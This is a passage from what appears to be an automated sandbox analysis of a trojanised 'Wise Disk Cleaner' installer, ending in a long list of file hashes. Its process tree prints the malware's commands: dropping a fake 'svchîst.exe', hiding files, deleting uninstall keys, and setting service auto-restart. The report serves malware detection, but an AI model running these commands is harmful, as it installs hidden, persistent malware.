575266595856306144356d5957787a5a547776626d566c5a4639686458526f506a787564473173583246316447672b5a6d4673633255384c32353062577866595856306144343864584e6c636d35686257552b5043393163325679626d46745a5434386347467a63336476636d512b5043397759584e7a643239795a4434385a47397459576c75506a77765a47397459576c75506a777663484a7665486c666332563064476c755a334d2b44516f3d3c2f70726f78795f73657474696e67733e3c6164646974696f6e616c3e3c2f6164646974696f6e616c3e3c64697361626c655f696e7465726e65745f69643e66616c73653c2f64697361626c655f696e7465726e65745f69643e3c736166655f6d6f64655f7365743e66616c73653c2f736166655f6d6f64655f7365743e3c73686f775f69645f6e6f74696669636174696f6e3e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e3e3c73686f775f69645f6e6f74696669636174696f6e5f726571756573743e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e5f726571756573743e3c696e746567726174655f6669726577616c6c5f61745f737461727475703e747275653c2f696e746567726174655f6669726577616c6c5f61745f737461727475703e3c2f67656e6572616c5f73657474696e67733e0d0a /f
                  5⤵
                  • Modifies registry class
                  PID:4636
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.37920.2020" /f
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:116
                • C:\Windows\SysWOW64\reg.exe
                  reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.37920.2020" /f
                  5⤵
                    PID:4740
              • C:\Windows\SysWOW64\PING.EXE
                ping 127.0.0.1
                3⤵
                • Runs ping.exe
                PID:4464
              • C:\Windows\SysWOW64\drivers\svchîst.exe
                "C:\Windows\System32\drivers\svchîst.exe" /silentinstall
                3⤵
                • Executes dropped EXE
                • Checks computer location settings
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1120
              • C:\Windows\SysWOW64\drivers\svchîst.exe
                "C:\Windows\System32\drivers\svchîst.exe" /firewall
                3⤵
                • Executes dropped EXE
                • Checks computer location settings
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:3052
              • C:\Windows\SysWOW64\drivers\svchîst.exe
                "C:\Windows\System32\drivers\svchîst.exe" /start
                3⤵
                • Executes dropped EXE
                • Checks computer location settings
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1932
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s "C:\Windows\System32\idfgvgjnghcdfb.reg"
                3⤵
                • Drops file in System32 directory
                • Views/modifies file attributes
                PID:544
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s "svchîst.exe"
                3⤵
                • Drops file in Drivers directory
                • Views/modifies file attributes
                PID:1196
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h -s "install.exe"
                3⤵
                • Drops file in Drivers directory
                • Views/modifies file attributes
                PID:540
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h -s "install.cmd"
                3⤵
                • Views/modifies file attributes
                PID:4584
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\DNS-Service\Parameters\AppExit" /t REG_SZ /d "Restart" /f& REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\DNS-Service" /v FailureActions /t REG_BINARY /d 0000000000000000000000000300000057005300010000000000000001000000000000000100000000000000 /f& Exit
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:528
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\DNS-Service\Parameters\AppExit" /t REG_SZ /d "Restart" /f
                3⤵
                  PID:544
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\DNS-Service" /v FailureActions /t REG_BINARY /d 0000000000000000000000000300000057005300010000000000000001000000000000000100000000000000 /f
                  3⤵
                    PID:1196
                • C:\Users\Admin\AppData\Local\Temp\Wise Disk Cleaner\10.3.6.788\setup.exe
                  "C:\Users\Admin\AppData\Local\Temp\Wise Disk Cleaner\10.3.6.788\setup.exe" /VERYSILENT /LANG=ru /TASKS=desktopicon
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:876
                  • C:\Users\Admin\AppData\Local\Temp\is-TD35V.tmp\setup.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-TD35V.tmp\setup.tmp" /SL5="$40028,3793825,188928,C:\Users\Admin\AppData\Local\Temp\Wise Disk Cleaner\10.3.6.788\setup.exe" /VERYSILENT /LANG=ru /TASKS=desktopicon
                    3⤵
                    • Executes dropped EXE
                    • Checks computer location settings
                    • Drops file in Program Files directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of WriteProcessMemory
                    PID:4632
                    • C:\Users\Admin\AppData\Local\Temp\is-RO3QC.tmp\CSTask.exe
                      "C:\Users\Admin\AppData\Local\Temp\is-RO3QC.tmp\CSTask.exe" "WDCSkipUAC" "C:\Program Files (x86)\Wise\Wise Disk Cleaner\WiseDiskCleaner.exe"
                      4⤵
                      • Executes dropped EXE
                      PID:4516
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c "C:\Program Files (x86)\Wise\Wise Disk Cleaner\WiseDiskCleaner.exe"
                  2⤵
                    PID:2172
                    • C:\Program Files (x86)\Wise\Wise Disk Cleaner\WiseDiskCleaner.exe
                      "C:\Program Files (x86)\Wise\Wise Disk Cleaner\WiseDiskCleaner.exe"
                      3⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks for any installed AV software in registry
                      • Enumerates connected drives
                      • Modifies Internet Explorer settings
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:2408
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c "C:\Program Files\Wise\Wise Disk Cleaner\WiseDiskCleaner.exe"
                    2⤵
                      PID:2752
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c attrib -h -s -r "C:\Users\Admin\AppData\Local\Temp\Wise Disk Cleaner\10.3.6.788\*.*"
                      2⤵
                        PID:2512
                        • C:\Windows\SysWOW64\attrib.exe
                          attrib -h -s -r "C:\Users\Admin\AppData\Local\Temp\Wise Disk Cleaner\10.3.6.788\*.*"
                          3⤵
                          • Views/modifies file attributes
                          PID:3564
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c RMDIR /s/q "C:\Users\Admin\AppData\Local\Temp\Wise Disk Cleaner"
                        2⤵
                          PID:3504
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Wise Disk Cleaner 10.3.6.788" /f
                          2⤵
                            PID:4416
                            • C:\Windows\SysWOW64\reg.exe
                              reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Wise Disk Cleaner 10.3.6.788" /f
                              3⤵
                                PID:3720
                          • C:\Windows\SysWOW64\drivers\svchîst.exe
                            "C:\Windows\SysWOW64\drivers\svchîst.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Modifies registry class
                            PID:856
                            • C:\Windows\SysWOW64\drivers\svchîst.exe
                              C:\Windows\SysWOW64\drivers\svchîst.exe -firewall
                              2⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of SetWindowsHookEx
                              PID:4208

                          Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Arabic.ini
                            Filesize

                            46KB

                            MD5

                            3e543da6bcc0ee84d53d88438fafc799

                            SHA1

                            c86b179b803d37852e73a6145c135431b4d52d74

                            SHA256

                            586419de24beb7faee4a142ee0b5b78c35ff9b7ae4e4a7cc50fb1e2bf082f98c

                            SHA512

                            3a3cedfdbc40e9a2458f1117d08e034881c4ff8ed090bdb2f40f095ee53ec7a4d23dc83fd3ce1fea5939fe43cf31419fcbff799a88ef078e60dae9b6035d0640

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Belarusian(Cyrillic).ini
                            Filesize

                            49KB

                            MD5

                            538d04c6d3802d211d59fe34d24b08b2

                            SHA1

                            dd24233a739f0dc681b31d215006b407d4b10395

                            SHA256

                            fd915abe1e9c0deb8e103624eb5f0c4f29ad9506092214da36e4e9ea85add212

                            SHA512

                            6f759975e4f4c95145ab862190428dbf7cf8ab8e5e32379cc44cb9c1f63c7c87e8263033dced3f55d2ef7e61212f22d3892907f823f1e9029dbc7a776de70e31

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Belarusian(Latin).ini
                            Filesize

                            50KB

                            MD5

                            09acc2789101dbef07ab7e1c6be7ace6

                            SHA1

                            7a55791699490fc7b23fb51fd1b5f0f322a05447

                            SHA256

                            2007a5a9dbac09656e761b04448e53dd094ec30355f6394204158648d89131d4

                            SHA512

                            ad5071fb49485dc2a8a7d1ab2f7471b90d403b733bce3bf5cffdf017915cf89c719a0d63b6c22d7fe934dcb3713c8748e1f9fcaf6891feeb53ddc2d7c51998e5

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Bulgarian.ini
                            Filesize

                            59KB

                            MD5

                            8db61046f722c6feddf6e9ff36395cb1

                            SHA1

                            32a99cfa048b1bdfa2a27d8618ebcbea98ef31ac

                            SHA256

                            65fedfe3cf7024a0345345e7973f67f0c6b8b0f548dcdca5c4f48c0b667d22e8

                            SHA512

                            a34408d86ad01faf8d7a5b651210943b4e8d5d3c4226eb4c082e5c7c346611015fa9139c3774d365df70d0d146a4a7c49fb1ff8ee04d668c3129d8c49a3bd207

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Catalan(Spain).ini
                            Filesize

                            58KB

                            MD5

                            e06f62dcb6360c54d0c99e58f7108a1b

                            SHA1

                            60d47951f1cb0fff9abcccfdbd297337e5435130

                            SHA256

                            7efcb6193c689aab517532b3a7dde3fbce7e42c6060fb698844458aaeae6656b

                            SHA512

                            fa6d8726032afa24926e374d8496d73a61776cda53d735a980a87b1aaf2db160ec7a8243bf9e6c034d18218a2f1222d256f820c059c77647648456432682078e

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Chinese(Simplified).ini
                            Filesize

                            57KB

                            MD5

                            ddb1e3858ba84d18e832bf926f71b8d3

                            SHA1

                            ff7af2ab8f8a9b21895e260055df79b10b1e3da2

                            SHA256

                            ac03ab706d80d0175939940091df58543eb885a5cc939e7dfa72a12dfe0a680e

                            SHA512

                            b4b8da9b1b3b363e4e614a1ba52b926d785056011f2927febad29680df22225ded628141bff4b3bb9e9d11a77b88db5b44ef8955142ecb599f2891a09077fb23

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Chinese(Traditional).ini
                            Filesize

                            28KB

                            MD5

                            3b2fe60c4ace1c7733549c1e892622fa

                            SHA1

                            5903fa94e31186df51bf520add0542153c963a71

                            SHA256

                            c983c82379b6dc354f7dc4fb37e5ee147069c1141503df4a1efa22884969a69f

                            SHA512

                            ebf3e1ef1354916d9cd3f4ba7f9c2a175e6b9d162e4380a69f551926c132079494b67ff3defaace968659dde396cb3e0a191c4bdea9ac6dde7349c563c1756ab

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Czech.ini
                            Filesize

                            58KB

                            MD5

                            a1800a0b75aaf75089172dce6d9cbcba

                            SHA1

                            6eb1245d876ebfd253c77df807acfae0b6c72eed

                            SHA256

                            10d4accda03a1fb836d02eaab186054b49acb1630edd0a07c8d2653234266b1d

                            SHA512

                            6262cd53a2993d985e2c440a45a872a43cc9de8df380bbbf861df3748243c3768f85adf4db6e18ba148cd2d0ae3c6eb7d77f822c8015364d94114141d605a917

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Danish.ini
                            Filesize

                            47KB

                            MD5

                            3ca37cef05d366f1e10a49a6dde3225a

                            SHA1

                            2734b737b07ffdcdf7bd410b29e3030c94482dfe

                            SHA256

                            0714b1684aa7d1cab8978138754bcf712b43162e45e48c74aab1d588907d2a46

                            SHA512

                            e7d1aad57bb919f192427afe3558dc1c4467d82378b742a82da40ef430db5b8aa41aaec562bbc71ef36731d0800b113e1e38e861f9967904e07f6d4a64a01974

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Dutch (Nederlands).ini
                            Filesize

                            75KB

                            MD5

                            8e2dedf7ad4959dcba5aad9221755ac1

                            SHA1

                            1e47e115dc2fb5cc2e27d1ab2726b85409c8338b

                            SHA256

                            32f54c23c8760205d74885992cd8e11fd23911b44660078e1ee11e01af3f4106

                            SHA512

                            b932acbbd885fe68dc6ab31386bf3a9d6523ef7e3063c922cf77ac90ec147f7df1c087bcd067f8677abfb3b134f161035f7116c25ba544d93461e372f8e93a37

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\English.ini
                            Filesize

                            73KB

                            MD5

                            dfb897952f03b002a95ef8f47a98afe5

                            SHA1

                            cd9801955ea04a949175cbb8a3972488ef15e966

                            SHA256

                            86da3520698f44289c789b1d4771929edc36f5dd36c6ba54e1382a06a39c7684

                            SHA512

                            8536477f154d0687e0c6673b553a27c1f2ef2b38231162e31ab4039db0d772d5d652518f15ddddbf74f981345307eef175321ae262514b06506b18823e0dc5ba

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Finnish.ini
                            Filesize

                            78KB

                            MD5

                            dc73d7da4015500c369caacb8ef26e21

                            SHA1

                            c33246680111d1fc3fb3cdac10dd7c37f9f05a33

                            SHA256

                            d70edac364dd4273a80e40e5d3a710198576b1cfd81e3cec0bfb4d4683dd50fb

                            SHA512

                            0f4f0a50f3dd36999864669f078d686b5af04cfb750951c9abe2cdbb609c683e447fd56ac28a34d4a83e53444c12d13cc742bcc9bd3236ba6e363dfbcecbf3f8

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\French.ini
                            Filesize

                            79KB

                            MD5

                            3ec80eda36af3cae27ad0bc179efe392

                            SHA1

                            42924e65a3b9bef333b9f546343cf30d6fe25d71

                            SHA256

                            0c05485c08fc6877eae77afa6d38623360c16aadf9b6ad0271079854b6d8b83e

                            SHA512

                            6f5a1c499adb8d8fd20b29293a8b91e942de6945df1df0185d7e2e71ed48ea917f38b785f206f0d6065b6ae4a5b85f38e8275315e86679d4def32f35d1351cb4

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\German.ini
                            Filesize

                            59KB

                            MD5

                            12aa09156da6482c24a1b2d4b55d855c

                            SHA1

                            1c2dad1b7d7beeb65710da2efafe36688754000e

                            SHA256

                            2fd313688b2ad99a3a4be590b5b96f4932cdecf5211771b84f2d060b00a3893e

                            SHA512

                            0742e6ab784dc765dcd13f0551883bad341b254cb993a8a6016ffbd18846109bbb6f00611dfde797db8382e014805c6e2a8ac38c50c827054af9ac7447e511dd

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Greek.ini
                            Filesize

                            70KB

                            MD5

                            6e449bd01c21478ec0c19bd25a8c3ee5

                            SHA1

                            2aeba60b7600ca9e71a5fdd04c06ba05f1010262

                            SHA256

                            5c891ead72b187252daf3de22075a9c0e7f967e3050aec97db6f019d59bec138

                            SHA512

                            b691de0ac4254a29a6dd87fdfa5973c4b8c11719304ed665d6db661df66d7a1693e15514477979e24eabcd48fe9287fe07a123da6a469ef5dad07cf43d531021

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Hebrew.ini
                            Filesize

                            65KB

                            MD5

                            75009c9455e68643ac2e2301b8af20e2

                            SHA1

                            3091a33bb6517115b38f4eb3cad3747f3b64569c

                            SHA256

                            05746a60b31c255eaf1ea903c5ad47f3e25d98633472cee165acbec3521c64a8

                            SHA512

                            18619921ab3bcf481466960f1cab10b2185be93470ee9b6cd01377b523ea8810e6d159a4515a0cfa575df3617f47fc5cee7d5982cc2deff0fa8a69644e7a0eb8

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Hungarian.ini
                            Filesize

                            78KB

                            MD5

                            b967b7a48eca3f5076033759089e4142

                            SHA1

                            9e29f54c07066608be1cb6abc59cf7cda823cc03

                            SHA256

                            1ecce57dbf90759fcfefbea163521dfb8d3281a98c216d94ec51771308cf32dd

                            SHA512

                            4a588f3150e21d1b7923fc885ab28f36a40488157f583de9558476d04a2ceb5fa3d0f91ba09d12aacee1a0a8d5797c4be6e15ba01e6a01427e1de88845bd04cb

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Indonesian.ini
                            Filesize

                            61KB

                            MD5

                            0a763d65adccbe593039ccdcfde7b499

                            SHA1

                            833c56164a17b152d4098ee95fd4bb6912193a89

                            SHA256

                            759b0029fc140d49cb40bcd197fc64537fe408cd78641d0cecafac599aa97d10

                            SHA512

                            b83d88ce225621e0460d40c8c9ad92e91ffe1c0b3875270ff8ed8aa66a7b3a08c6605e6f4e7b7bf5d02b9ea2ab7256dff07f2bf31232d2675de869d06bfc9d7e

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Italian.ini
                            Filesize

                            73KB

                            MD5

                            4b9f92249266356fea5844eccdc6e6f1

                            SHA1

                            0a060c8d39e98fbda3411b8b915a83754af54089

                            SHA256

                            1a2f241b503be86067d89a8fcb69bdffcccec96912a765337dfadcce6bca75b0

                            SHA512

                            8ab4323d596a71d1cbc9492b48eb6f6996ddd0411edd6732417b68dd27d1acb2f00c17865ce7a17dac58947dd7482771c11c8fc5c2b73561a47469641fe9a82a

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Japanese.ini
                            Filesize

                            37KB

                            MD5

                            7792786223200e5da40d9c542a7f4b8b

                            SHA1

                            b71f45389d66dfb56303a81547aafcd3bfbe869a

                            SHA256

                            a62a2aaf6e39e46a9cb0053a670d09dcb4aaf9142f89a7b12daad1793154db9a

                            SHA512

                            2a3d66677eeeea065392d27546bc2fba5e115f906cd1dc4398dd848f104a9d5cf98d2dfec8daa432ad94ee6f93bd45d5f300c0c6801bbfadb073639b3f5f32e7

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Korean.ini
                            Filesize

                            60KB

                            MD5

                            8f674280944a449f943689e19ad0ced2

                            SHA1

                            90c7d3972bb418eecb2696e2e7390df2c0a33a7d

                            SHA256

                            a2223c96dc9fced161469aa2989db97ba0e9393dc86cbdc7aa06d4342772a000

                            SHA512

                            6b788b826af729a2217d6b5d72bdaf4ab9682e6cd71331d1c5da4384fc25a4b4d9f2b44d776b65a8ade2d589ce55baa7e00f11a9d53a36fa79ce5943f843df65

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Nepali.ini
                            Filesize

                            52KB

                            MD5

                            8e9d6867bb1b047e0e7eecf8a7ab4151

                            SHA1

                            269c9258fed0552758c75897ed8346e7e8c4eb2b

                            SHA256

                            44c210cf753a79acba19b171fe4643056dee29d441ccf91fa6121b7e441cd2ea

                            SHA512

                            817e7016dd68f6402029c1f8fa49ac2edd8d114f06ac5a8c1b68b39e77279d6e68ec49a575da950e1c9d686488195bebb95d0997bf3123bfe54dfffcea689183

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Norwegian (Bokmal).ini
                            Filesize

                            47KB

                            MD5

                            5d95e5077b31764d3d91ace0ea64490f

                            SHA1

                            12bcc6fd0e6fa8c7109cc4cf19033a0c3cd8fadd

                            SHA256

                            73721487c7680b844e73079cc57acc6988622506230f73929c63ef197d19c83e

                            SHA512

                            f22e764a002e835a51fc4db17320c96241e949f6b437c1f699714e41ca759f096a99c61cc82b773198f962170322cadbd4a5f943550ad7b4355d48cf05915bcc

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Norwegian (Nynorsk).ini
                            Filesize

                            46KB

                            MD5

                            d82a2f11ab17c1fdc94e8aca732bfdc6

                            SHA1

                            58347d500fa9efaf46b600345f9752f426e99b45

                            SHA256

                            6e9385096f433f4a4d95997d0483ab08695b6b7cf2c9f1f525cf41b83c85459c

                            SHA512

                            61f6ddad161a8e0df43b60e424fbd83e0d759f1bedfcfd5268c803f98d98ba4006b1c2f9f2b63b3a3461401fdbf16dec2cd07d8fac15af7eb61fd5b79a564343

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Persian.ini
                            Filesize

                            69KB

                            MD5

                            71f1fe9e66926028a09b7a5ff36ec42a

                            SHA1

                            521a99b288ae887391c36fb86555e25df5685164

                            SHA256

                            8044110a96bbe6dcc5cc74fa8106a2ed250536ea8785b0eb1148a696c74c5353

                            SHA512

                            62c8b5c0eda2163d7093da06a176270558f377d0e7fc8fd2aea137045c5fdc4cf62be47fc2c215e2bf4d68ba8eb343ceb70bce1b991502ecd1407350dab086c5

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Polish.ini
                            Filesize

                            59KB

                            MD5

                            1a59560e88582dac1e5b7a70a38463a5

                            SHA1

                            fe80e956dbf54bd066f2f11d697072377dd3df6b

                            SHA256

                            b826a3a9198323ce5b29ba96a311a632b98c05fbf4d02213abd30ce0ea262427

                            SHA512

                            0d00273db68c3ebb58f0be6102b1f23d2096197aacaa8577aa42473aa1b587f50c86f333c1831b78879b2ba5ab1793488af1f875ed111eb800a1b2c9becdf69e

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Portuguese(Brasil).ini
                            Filesize

                            72KB

                            MD5

                            3445d1277329541b11ddb2b1b5dc54f5

                            SHA1

                            57fac60be3e79eb01d4170df6abbb44dc62c21e6

                            SHA256

                            c34cf5c5773429d9c1273bdeebaf59fc0f7984db541f6524d2c1718c191aeed2

                            SHA512

                            2b0080337609bd458677532371a9226b9112edc9a1c8a6567423fd324559338c934ae409a012a903ca6f464281c327a812aefe932395d9e739ef8f0e379ebf28

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Portuguese(Portugal).ini
                            Filesize

                            74KB

                            MD5

                            66ccf14a92b6354bed01867615a76d90

                            SHA1

                            7f133285713146b2e343d44c0de190fac75e40f6

                            SHA256

                            a3af006e4957a14abd637e50cf265ecba049ca53ff716ec0298c96a0265a2f9e

                            SHA512

                            c43f521781d59a150a124d6105d295dbfb5ac6dee0401b9c927eeda8ba0a8df21d1e69fdf8dc090314f3945b97dc72a9cd3ba9aed34bbb8f9ae96fdcb96ca784

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Romanian.ini
                            Filesize

                            73KB

                            MD5

                            e56f223aea3e1d394c31b93f17054cb7

                            SHA1

                            9fe9ca1dc70cd7e0b2264842139a364ac4a8e689

                            SHA256

                            865b6284291dba5b148d236f0ebfd3aebf0998dabfe36cc3a013658af1733dcc

                            SHA512

                            21050172c652bbcc93ab409d16aaef330a713d8dcf33b5f84ea323832b3489bddcb98ec552d00e48afd894e1f935a0fdc22749ee018f8d46d407559a0137eeed

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Russian.ini
                            Filesize

                            68KB

                            MD5

                            479bfcd4c6e0a91bce8eeb3d5282902a

                            SHA1

                            a73b34daca2a27e159a7f14148423bd0e8877287

                            SHA256

                            b326491b5a4245e9b3a436cfe1b023d88b35cdbbb50368bbac5f7d1f19560718

                            SHA512

                            8c799a763cae7bdd33ff8d9a3295b2b92f87413bdb46e590c02255aedbd32707faf5d5badfc884cddeeb8be4772c2f824d16af3996e5ecb0692a2399594121f0

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Serbian.ini
                            Filesize

                            58KB

                            MD5

                            d5de1a134aab351dcd5b8f22f32ec30a

                            SHA1

                            45404143905dcb284e99acd78285a3ba86a1c1a6

                            SHA256

                            2a2338c828fd426a6d50e4866ed1c59ccd292b877cf66374c57a8826b30c9aa1

                            SHA512

                            7727f4c9902daae600e48a950afd61ba2e26d8a943f20bbfc2ec7eaf01f1de2a8b9d04e4fd4ec9b38cf700c6df00d58c714f1208e60383755ad5220715912427

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Slovak.ini
                            Filesize

                            71KB

                            MD5

                            5108c5d28c126216a792f4a0900847fa

                            SHA1

                            9a8b3e565e37e1bf717d3e1c7ebca12e414328f5

                            SHA256

                            3860ad448ebd501be377fbd46c65cb4e7aecc809900d5f085ee5223931425695

                            SHA512

                            ce241b74f7903131fd0af070cc75a29d01e375e5d05636814fa123c1edfdb0304863f997fb3fcb3467bf87b770f8412acf67a29480b96877e8d4fd0888b39438

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Slovenian.ini
                            Filesize

                            56KB

                            MD5

                            204fe6fcde25232628a4d7b34e6b87fd

                            SHA1

                            613efc64843467bd90ec64949367f2139f4b581e

                            SHA256

                            4940b086c467d2ee6fd232f787bf03382c8328f2ce71c7ca747c02a7a368c1de

                            SHA512

                            88af2f2bff0fb8daa60c048cef6008bafdb636970b30da4765cf6ee2f62604e1581a3ce822555a14d018a7f10d0d2da2e072d58b12be4f27200dcdf20890b726

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Spanish (Colombia).ini
                            Filesize

                            73KB

                            MD5

                            ae51cebbeb929ca8ef00abdee0554352

                            SHA1

                            e245b0ece229b9d1a2109fb48e1533f0f7dcc490

                            SHA256

                            9cb9b5580e4706168c02b07f3ef6656ebd2f6d9661cccd75b089a465d5ac0565

                            SHA512

                            c617871237592bfe3bcd1ac4e3b41ef4157b0b6cbcb636fe0d56f8ea59c198fc4551b6b86f1497778f3c4db06fb8e89169e5ac0e9662532d4c6f0f0b944a3ea1

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Spanish (Spain).ini
                            Filesize

                            74KB

                            MD5

                            fef1352852ad6da36123893c3c183834

                            SHA1

                            5599ea541a373e9e63b692db17126eb42f1739bf

                            SHA256

                            d295342e3fff2bb44fe3010669400ddbc82e103f87beb5ead1c6b3cab3ade0b6

                            SHA512

                            7dda1508cd623dc753ef137ac58e759bab22f422f20d3802c49876bdd003015468ef5674c4186ae04fb745ae56d9ae21d57438baffad9597f0be53ee2e9f8d3a

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Swedish.ini
                            Filesize

                            55KB

                            MD5

                            8f053575db50cfaf4418fb2e5263b2ae

                            SHA1

                            cb95844f69291b2656726f156e51b8611a55d4fb

                            SHA256

                            98677a07f37daa333e507fc576aba8ebb4489a5822104f7c4bee53db2f8e4202

                            SHA512

                            e7e3fcddd6f1b21aa48901f0e8d9633705b69d8f34ce08c2e7fd81128c7dd811bf2755e4f517325a10480a427a7eebe19307deb96edff9ecc8077094ea740061

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Thai.ini
                            Filesize

                            54KB

                            MD5

                            85f062f1a900a1da8a32f46803cb62fb

                            SHA1

                            5baa775d7d287060937f8b86c69be1850a1f9ab4

                            SHA256

                            3e8e09cf740bef1dabdcb6a7c69185bf0fac3f13b727c2c1de79fbde7308470a

                            SHA512

                            7b40bff744244e48edafdb999aed616519b7665187a25d522c88532a0e5e8eacc9091fbb198c93fbe39a860e10c35ee39a689e8f31dab2cca578cf12057fef50

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Turkish.ini
                            Filesize

                            62KB

                            MD5

                            f34b68131e35f62513feb8278cca1ae1

                            SHA1

                            bd4ac075b01cd358431e2d9ad6fb2fe2de8b5aff

                            SHA256

                            49b0ecac0b88c345cd6b5f3f501f25e3720077faf6710c5f2b6fd984e4d4d7f9

                            SHA512

                            c6cdbeb4771f3cc2de6116c0fde80348d34ade78506d54c61eca596d3131bd809452155fc4868b18f15b3968ee0ae4f01e7cbefecafd58d499e263543bdc1dbf

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Ukrainian.ini
                            Filesize

                            54KB

                            MD5

                            a3384eb4a6122fb763038c26359acf05

                            SHA1

                            a0d587ccf4f19022e6e4b4df3106e87a1ded94c7

                            SHA256

                            3d20e0e5cfd6375253d4286ec5fd33fdf7aeb0d8bf26cb714d8b91e3b3c10868

                            SHA512

                            6b2d99fb897f6e7fa017b312127f29d37bfd046b343c1a6849a4e7cb408e9f7709d3b5d2000fab430f6189e70cd6afffef324b1187f8b25fe2e9ce3ca2b04a27

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\Languages\Welsh.ini
                            Filesize

                            77KB

                            MD5

                            f1aa230d4e1dc0ad8ce48dbbf0f93353

                            SHA1

                            45c5ef63cf2110a2a11461185d30b9c5a081fc22

